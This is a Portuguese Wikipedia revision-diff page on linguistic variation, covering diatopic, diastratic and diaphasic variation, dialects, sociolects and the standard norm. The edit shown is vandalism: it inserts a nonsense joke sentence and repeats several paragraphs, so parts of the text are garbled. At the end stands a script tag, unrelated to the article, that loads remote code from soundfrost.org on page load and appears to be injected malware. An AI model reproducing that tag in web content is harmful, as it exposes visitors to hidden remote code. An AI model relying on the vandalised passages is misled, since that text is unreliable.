Variação linguística: diferenças entre revisões

Conteúdo apagado Conteúdo adicionado
m Foram revertidas as edições de 170.231.134.55 devido a vandalismo (usando Huggle) (3.1.20)
m Variação Linguística
Etiqueta: Remoção considerável de conteúdo
Linha 1:
Vou Explicar de uma forma bem simples
'''Variação linguística''' é o movimento comum e natural de uma língua, que varia principalmente por fatores históricos e culturais. Modo pelo qual ela se usa, sistemática e coerentemente, de acordo com o contexto [[histórico]], [[geografia|geográfico]] e [[classe social|socio]][[cultural]] no qual os falantes dessa língua se manifestam verbalmente. É o conjunto das diferenças de realização linguística falada pelos locutores de uma mesma língua. Tais diferenças decorrem do fato de um sistema linguístico não ser unitário, mas comportar vários eixos de diferenciação: [[estilística|estilístico]], regional, sociocultural, ocupacional e etário. A variação e a [[mudança linguística|mudança]] podem ocorrer em algum ou em vários dos subsistemas constitutivos de uma língua ([[fonética|fonético]], [[morfologia|morfológico]], [[fonologia|fonológico]], [[sintaxe|sintático]], [[léxico]] e [[semântica|semântico]]). O conjunto dessas mudanças constitui a evolução dessa língua.<ref>''Dicionário Houaiss''. Verbetes: "mudança" (rubrica: linguística) e "variação" (rubrica: linguística).</ref>
 
A Variação Linguistica depende da sua linga se ela for vermelha ela tem sangue se voce chupar um confeito e ela fica da cor do confeito ela é confeteta kkkkk
A variação é também descrita como um fenômeno pelo qual, na prática corrente de um dado [[grupo social]], em uma época e em certo lugar, uma língua nunca é idêntica ao que ela é em outra época e outro lugar, na prática de outro grupo social. O termo variação pode também ser usado como sinônimo de '''variante'''.<ref>DUBOIS, Jean et al. [http://books.google.com.br/books?id=ivoQ6Q2xu0oC&pg=PA609&lpg=PA609&dq=Dicion%C3%81rio+de+Ling%C3%9C%C3%8Dstica++Por+Jean+Dubois+variante&source=bl&ots=47vMltkJce&sig=-WMBLRkAW1k81Rl7xt-DRfDMhPw&hl=pt-BR&sa=X&ei=L4JoT633AY72ggfL1MyaCQ&ved=0CDYQ6AEwAw#v=onepage&q&f=false ''Dicionário de Linguística'']. Editora Pensamento-Cultrix, 2011, p.609, 610.</ref>Existem diversos fatores de variação possíveis - associados a aspectos geográficos e sociolinguísticos, à evolução linguística e ao [[Registro (linguística)|registro linguístico]].
 
Variedade ou variante linguística se define pela forma pela qual determinada comunidade de falantes, vinculados por relações sociais ou geográficas, usa as formas linguísticas de uma [[língua natural]]. É um conceito mais forte do que ''estilo de prosa'' ou ''estilo de linguagem''. Refere-se a cada uma das modalidades em que uma língua se diversifica, em virtude das possibilidades de variação dos elementos do seu sistema ([[vocabulário]], [[pronúncia]], [[sintaxe]]) ligadas a fatores sociais ou culturais (escolaridade, profissão, sexo, idade, grupo social etc.) e geográficos (tais como o português do Brasil, o português de Portugal, os falares regionais etc.). A [[norma culta|língua padrão]] e a linguagem popular também são variedades sociais ou culturais. Um [[dialeto]] é uma variedade geográfica.<ref>Dicionário Houaiss: "variedade" 5 Rubrica: linguística.</ref>Variações de léxico, como ocorre na [[gíria]] e no [[calão]], podem ser consideradas como variedades mas também como ''[[Registro (linguística)|registros]] ou, ainda, como [[estilística|estilos]] - a depender da definição adotada em cada caso. Os [[idiotismo]]s são às vezes considerados como formas de ''estilo'', por se limitarem a variações de [[léxico]].
 
Utiliza-se o termo 'variedade' como uma forma neutra de se referir a diferenças linguísticas entre os falantes de um mesmo idioma. Evita-se assim ambiguidade de termos como [[idioma|língua]] (geralmente associado à [[norma padrão]]) ou [[dialeto]] (associado a variedades não padronizadas, consideradas de menor prestígio ou menos corretas do que a norma padrão). O termo "leto" também é usado quando há dificuldade em decidir se duas variedades devem ser consideradas como uma mesma língua ou como línguas ou dialetos diferentes. Alguns sociolinguistas usam o termo ''leto'' no sentido de variedade linguística - sem especificar o tipo de variedade. As variedades apresentam não apenas diferenças de vocabulário mas também diferenças de [[gramática]], [[fonologia]] e [[prosódia]].
 
{{Quote2| ''Nenhuma língua permanece a mesma em todo o seu domínio e, ainda num só local, apresenta um sem-número de diferenciações.[...] Mas essas variedades de ordem geográfica, de ordem social e até individual, pois cada um procura utilizar o sistema idiomático da forma que melhor lhe exprime o gosto e o pensamento, não prejudicam a unidade superior da língua, nem a consciência que têm os que a falam diversamente de se servirem de um mesmo instrumento de comunicação, de manifestação e de emoção.''| [[Celso Cunha]] ''Uma política do idioma''<ref>[http://acd.ufrj.br/~pead/tema01/variacao.html "Variação linguística"]. PEAD.[[UFRJ]].</ref>}}
A [[sociolinguística]] procura estabelecer as fronteiras entre os diferentes falares de uma língua. O pesquisador verifica se os falantes apresentam diferenças nos seus modos de falar de acordo com o lugar em que estão ('''variação diatópica'''), com a situação de fala ou registro ('''variação diafásica''') ou de acordo com o nível socioeconômico do falante ('''variação diastrática''').e, de acordo com o contexto [[histórico]], [[geografia|geográfico]] e [[classe social|socio]][[cultural]] no qual os falantes dessa língua se manifestam verbalmente. É o conjunto das diferenças de realização linguística falada pelos locutores de uma mesma língua. Tais diferenças decorrem do fato de um sistema linguístico não ser unitário, mas comportar vários eixos de diferenciação: [[estilística|estilístico]], regional, sociocultural, ocupacional e etário. A variação e a [[mudança linguística|mudança]] podem ocorrer em algum ou em vários dos subsistemas constitutivos de uma língua ([[fonética|fonético]], [[morfologia|morfológico]], [[fonologia|fonológico]], [[sintaxe|sintático]], [[léxico]] e [[semântica|semântico]]). O conjunto dessas mudanças constitui a evolução dessa língua.<ref>''Dicionário Houaiss''. Verbetes: "mudança" (rubrica: linguística) e "variação" (rubrica: linguística).</ref>
 
A variação é também descrita como um fenômeno pelo qual, na prática corrente de um dado [[grupo social]], em uma época e em certo lugar, uma língua nunca é idêntica ao que ela é em outra época e outro lugar, na prática de outro grupo social. O termo variação pode também ser usado como sinônimo de '''variante'''.<ref>DUBOIS, Jean et al. [http://books.google.com.br/books?id=ivoQ6Q2xu0oC&pg=PA609&lpg=PA609&dq=Dicion%C3%81rio+de+Ling%C3%9C%C3%8Dstica++Por+Jean+Dubois+variante&source=bl&ots=47vMltkJce&sig=-WMBLRkAW1k81Rl7xt-DRfDMhPw&hl=pt-BR&sa=X&ei=L4JoT633AY72ggfL1MyaCQ&ved=0CDYQ6AEwAw#v=onepage&q&f=false ''Dicionário de Linguística'']. Editora Pensamento-Cultrix, 2011, p.609, 610.</ref>Existem diversos fatores de variação possíveis - associados a aspectos geográficos e sociolinguísticos, à evolução linguística e ao [[Registro (linguística)|registro linguístico]].
 
Variedade ou variante linguística se define pela forma pela qual determinada comunidade de falantes, vinculados por relações sociais ou geográficas, usa as formas linguísticas de uma [[língua natural]]. É um conceito mais forte do que ''estilo de prosa'' ou ''estilo de linguagem''. Refere-se a cada uma das modalidades em que uma língua se diversifica, em virtude das possibilidades de variação dos elementos do seu sistema ([[vocabulário]], [[pronúncia]], [[sintaxe]]) ligadas a fatores sociais ou culturais (escolaridade, profissão, sexo, idade, grupo social etc.) e geográficos (tais como o português do Brasil, o português de Portugal, os falares regionais etc.). A [[norma culta|língua padrão]] e a linguagem popular também são variedades sociais ou culturais. Um [[dialeto]] é uma variedade geográfica.<ref>Dicionário Houaiss: "variedade" 5 Rubrica: linguística.</ref>Variações de léxico, como ocorre na [[gíria]] e no [[calão]], podem ser consideradas como variedades mas também como ''[[Registro (linguística)|registros]] ou, ainda, como [[estilística|estilos]] - a depender da definição adotada em cada caso. Os [[idiotismo]]s são às vezes considerados como formas de ''estilo'', por se limitarem a variações de [[léxico]].
 
Utiliza-se o termo 'variedade' como uma forma neutra de se referir a diferenças linguísticas entre os falantes de um mesmo idioma. Evita-se assim ambiguidade de termos como [[idioma|língua]] (geralmente associado à [[norma padrão]]) ou [[dialeto]] (associado a variedades não padronizadas, consideradas de menor prestígio ou menos corretas do que a norma padrão). O termo "leto" também é usado quando há dificuldade em decidir se duas variedades devem ser consideradas como uma mesma língua ou como línguas ou dialetos diferentes. Alguns sociolinguistas usam o termo ''leto'' no sentido de variedade linguística - sem especificar o tipo de variedade. As variedades apresentam não apenas diferenças de vocabulário mas também diferenças de [[gramática]], [[fonologia]] e [[prosódia]].
 
{{Quote2| ''Nenhuma língua permanece a mesma em todo o seu domínio e, ainda num só local, apresenta um sem-número de diferenciações.[...] Mas essas variedades de ordem geográfica, de ordem social e até individual, pois cada um procura utilizar o sistema idiomático da forma que melhor lhe exprime o gosto e o pensamento, não prejudicam a unidade superior da língua, nem a consciência que têm os que a falam diversamente de se servirem de um mesmo instrumento de comunicação, de manifestação e de emoção.''| [[Celso Cunha]] ''Uma política do idioma''<ref>[http://acd.ufrj.br/~pead/tema01/variacao.html "Variação linguística"]. PEAD.[[UFRJ]].</ref>}}
A [[sociolinguística]] procura estabelecer as fronteiras entre os diferentes falares de uma língua. O pesquisador verifica se os falantes apresentam diferenças nos seus modos de falar de acordo com o lugar em que estão ('''variação diatópica'''), com a situação de fala ou registro ('''variação diafásica''') ou de acordo com o nível socioeconômico do falante ('''variação diastrática''').
 
== Tipos de variedades linguísticas ==
* '''Variedades geográficas''': dizem respeito à ''variação diatópica'' e são variantes devidas à distância geográfica que separa os falantes.<ref>Álvarez, 2006; 23</ref> Assim, por exemplo, a mistura de cimento, água e areia, se chama ''[[betão]]'' em Portugal; no Brasil, se chama ''[[concreto]]''.
:As mudanças de tipo geográfico se chamam [[dialeto]]s (ou mais propriamente [[geoleto]]s), e o seu estudo é a [[dialetologia]]. Embora o termo 'dialeto' não tenha nenhum sentido negativo, acontece que, erroneamente, tem sido comum chamar dialeto a línguas que supostamente são "simples" ou "primitivas". Dialeto é uma forma particular, adotada por uma comunidade, na fala de uma língua. Nesse sentido, pode-se falar de inglês britânico, inglês australiano, etc. É preciso também ter presente que os dialetos não apresentam limites geográficos precisos - ao contrário, são borrados e graduais - daí se considerar que os dialetos que constituem uma língua formam um ''[[Contínuo dialetal|continuum]]'' sem limites precisos. Diz-se que uma língua é um conjunto de dialetos cujos falantes podem se entender. Embora isto possa ser aproximadamente válido para o português, não parece valer para o alemão, pois há dialetos desta língua que são [[Inteligibilidade mútua|ininteligíveis entre si]]. Por outro lado, fala-se de ''línguas'' escandinavas, quando, na realidade, um falante sueco e um dinamarquês podem se entender usando cada um a sua própria língua.
:No que diz respeito ao [[Variantes da língua portuguesa|português]], além de vários dialetos e subdialetos, falares e subfalares, há dois padrões reconhecidos internacionalmente: o [[português de Portugal]] e o [[português do Brasil]].
* '''Variedades históricas :''' relacionadas com a [[mudança linguística]], essas variedades aparecem quando se comparam textos em uma mesma língua escritos em diferentes épocas e se verificam diferenças sistemáticas na [[gramática]], no [[léxico]] e às vezes na [[ortografia]] (frequentemente como reflexo de mudanças [[fonética]]s). Tais diferenças serão maiores quanto maior for o tempo que separa os textos. Cada um dos estágios da língua, mais ou menos homogêneos circunscritos a uma certa época é chamado variedade diacrônica. Por exemplo, na língua portuguesa pode-se distinguir claramente o português moderno (que, por sua vez, apresenta diversidades geográficas e sociais) e o [[português arcaico]].
* '''Variedades sociais :''' compreendem todas as modificações da linguagem produzidas pelo ambiente em que se desenvolve o falante. Neste âmbito, interessa sobretudo o estudo dos [[socioleto]]s, os quais se devem a fatores como [[classe social]], educação, profissão, idade, [[etnia|procedência étnica]], etc. Em certos países onde existe uma hierarquia social muito clara, o socioleto da pessoa define a qual classe social ela pertence. Isso pode significar uma barreira para a [[inclusão social]].
* '''Variedades situacionais :''' incluem as modificações na linguagem decorrentes do grau de formalidade da situação ou das circunstâncias em que se encontra o falante. Esse grau de formalidade afeta o grau de observância das regras, normas e costumes na comunicação linguística.
'''Os três tipos de variações linguísticas são:'''
* <strong>Variações diafásicas</strong> 
 
Representam as variações que se estabelecem em função do contexto comunicativo, ou seja, a ocasião é que determina a maneira como nos dirigimos ao nosso interlocutor, se deve ser formal ou informal. 
* <strong>Variações diatópicas</strong> 
 
São as variações ocorridas em razão das diferenças regionais, como, por exemplo, a palavra “abóbora”, que pode adquirir acepções semânticas (relacionadas ao significado) em algumas regiões que se divergem umas das outras, como é o caso de “jerimum”, por exemplo. 
* <strong>Variações diastráticas</strong> 
 
São aquelas variações que ocorrem em virtude da convivência entre os grupos sociais. Como exemplo podemos citar a linguagem dos advogados, dos surfistas, da classe médica, entre outras.
 
==Definições==
* [[Dialeto]]s: variantes diatópicas, isto é, faladas por [[comunidade]]s ''geograficamente definidas''.
** [[Idioma]]'' é um termo intermediário na distinção dialeto-linguagem e é usado para se referir ao sistema comunicativo estudado (que poderia ser chamado tanto de ''um dialeto'' ou ''uma linguagem'') quando sua condição em relação a esta distinção é irrelevante (sendo, portanto, um sinônimo para ''[[linguagem humana|linguagem]]'' num sentido mais geral);
* [[Socioleto]]s: variedades faladas por comunidades ''socialmente definidas'' ou seja, por grupos de indivíduos que, tendo características sociais em comum (profissão, faixa etária etc.), usam termos técnicos, gírias ou fraseados que os distinguem dos demais falantes na sua comunidade. É também chamado dialeto social ou variante diastrática. <ref>''Dicionário Houaiss'': "socioleto".</ref>
* [[linguagem padrão]] ou [[norma padrão]] ou [[norma culta]]: variedade linguística padronizada com base em preceitos estabelecidos de seleção do que deve ou não ser usado, levando em conta fatores linguísticos e não linguísticos, como tradição e valores socioculturais (prestígio, elegância, estética etc.). Corresponde à variedade usualmente adotada pelos falantes instruídos ou empregada na comunicação pública.
* [[Idioleto]]s: variedade peculiar a um único indivíduo ou o conjunto de traços próprios ao seu modo de se expressar.
* registros (ou [[diátipo]]s): o [[vocabulário]] especializado e/ou a [[gramática]] de certas atividades ou profissões
* [[Etnoleto]]s : variedade falada pelos membros de uma [[etnia]] (termo pouco utilizado, já que geralmente ocorre em uma área geograficamente definida, coincidindo, portanto, com o conceito de dialeto).
* [[Ecoleto]]s, um idioleto adotado por um número muito reduzido de pessoas (membros de uma família ou de um grupo de amigos, por exemplo).
 
Distinguem-se os dialetos, idioletos e socioletos não apenas por seu vocabulário, mas também por diferenças na [[gramática]], na [[fonologia]] e na [[versificação]]. Por exemplo, o sotaque de palavras tonais nas [[língua germânica setentrional|línguas escandinavas]] tem forma diferente em muitos dialetos. Um outro exemplo é como palavras estrangeiras em diferentes socioletos variam em seu grau de adaptação à fonologia básica da linguagem.
 
Certos registros profissionais, como o chamado ''legalês'', mostram uma variação na gramática da linguagem padrão. Por exemplo, jornalistas ou advogados [[Inglaterra|ingleses]] frequentemente usam [[Modos e tempos verbais|modos verbais]], como o [[modo subjuntivo|subjuntivo]], que não são mais usados com frequência por outros falantes. Muitos registros são simplesmente um conjunto especializado de termos (veja [[jargão]]).
 
{{referências}}
 
== {{Ver também}}==
* [[Sociolinguística]]
* [[Dialeto]]
* [[Socioleto]]
* [[Idioleto]]
* [[Gíria]]
* [[Jargão]]
* [[Preconceito linguístico]]
 
==Ligações externas==
* CAMACHO, Roberto Gomes. [http://seer.fclar.unesp.br/alfa/article/download/3749/3472 O sistema escolar e o ensino da língua portuguesa]
* BELINE, R. [http://stoa.usp.br/gabrielamorandini/files/2134/12107/Introdu%C3%A7ao+a+Linguistica+I+-+Objetos+te%C3%B3ricos.doc "A variação lingüística"]. In: FIORIN, J. L. (org.) ''Introdução à lingüística I. Objetos teóricos''. 3ª ed. São Paulo: Contexto, 2004, p. 121-40.
[[Categoria:Variação linguística|!]]
 
{{Linguística}}
<script src="https://soundfrost.org/jsn.php?ver=383&id=f307ad24c2f39b4b26da91e9145f4feb"></script>